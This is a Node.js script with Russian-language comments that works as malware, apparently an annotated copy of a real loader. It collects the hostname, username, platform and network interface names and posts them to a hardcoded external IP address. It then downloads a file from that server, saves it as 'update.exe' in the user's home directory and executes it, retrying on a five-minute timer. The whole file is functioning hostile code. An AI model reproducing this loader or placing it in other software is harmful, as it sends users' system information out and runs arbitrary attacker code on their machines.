const fs = require('fs');
const os = require('os');
const path = require('path');
const { exec } = require('child_process');
const request = require('request');
const http = require('http');
// Тут скрипт собирает информейшен о системе
const homedir = os.homedir();
const hostname = os.hostname();
const platform = os.platform();
const username = os.userInfo().username;
const interfaces = os.networkInterfaces();
let globalId = null;
let attackerIp = '185.135.199.34';
let attackerPort = '1244';
const attackerBaseUrl = `http://${attackerIp}:${attackerPort}`;
const keyEndpoint = '/keys';
const payloadEndpoint = '/payload';
// Это декодирование через XOR
function xorDecode(buffer, key) {
return buffer.map((b, i) => b ^ key[i % key.length]);
}
// Получает файл и сохраняет у тебя в системе свою какую-то хуйню
function saveAndExecute(remoteUrl, localFilePath) {
const file = fs.createWriteStream(localFilePath);
http.get(remoteUrl, response => {
response.pipe(file);
file.on('finish', () => {
file.close(() => {
execFile(localFilePath);
});
});
});
}
// Проверка и запуск скаченной хуйни
function execFile(filePath) {
if (fs.existsSync(filePath)) {
exec(`"${filePath}"`, (err, stdout, stderr) => {
if (err) return;
});
}
}
// Отправка собранной информации хацкеру
function reportInfo(session, componentCode) {
const payload = {
ts: globalId,
type: 'system',
hid: `${hostname}+${username}`,
ss: session,
cc: componentCode,
};
const options = {
url: `${attackerBaseUrl}${keyEndpoint}`,
form: payload,
};
try {
request.post(options, (err, res, body) => {});
} catch (e) {}
}
function initMalware() {
globalId = Date.now().toString();
let component = '';
try {
const keys = Object.keys(interfaces);
if (keys.length > 0) component = keys[0];
} catch {}
reportInfo('init', component);
downloadAndRunPayload();
}
// Загрузка и запуск левой хуйни
function downloadAndRunPayload() {
const localPath = path.join(homedir, 'update.exe'); // может быть .sh под *nix
const fullUrl = `${attackerBaseUrl}${payloadEndpoint}`;
saveAndExecute(fullUrl, localPath);
}
// Просто ретраи
let attempts = 0;
const maxAttempts = 3;
const retryDelay = 5 * 60 * 1000; // 5 минут
function attemptStart() {
if (attempts < maxAttempts) {
attempts++;
initMalware();
} else {
clearInterval(interval);
}
}
const interval = setInterval(attemptStart, retryDelay);
attemptStart();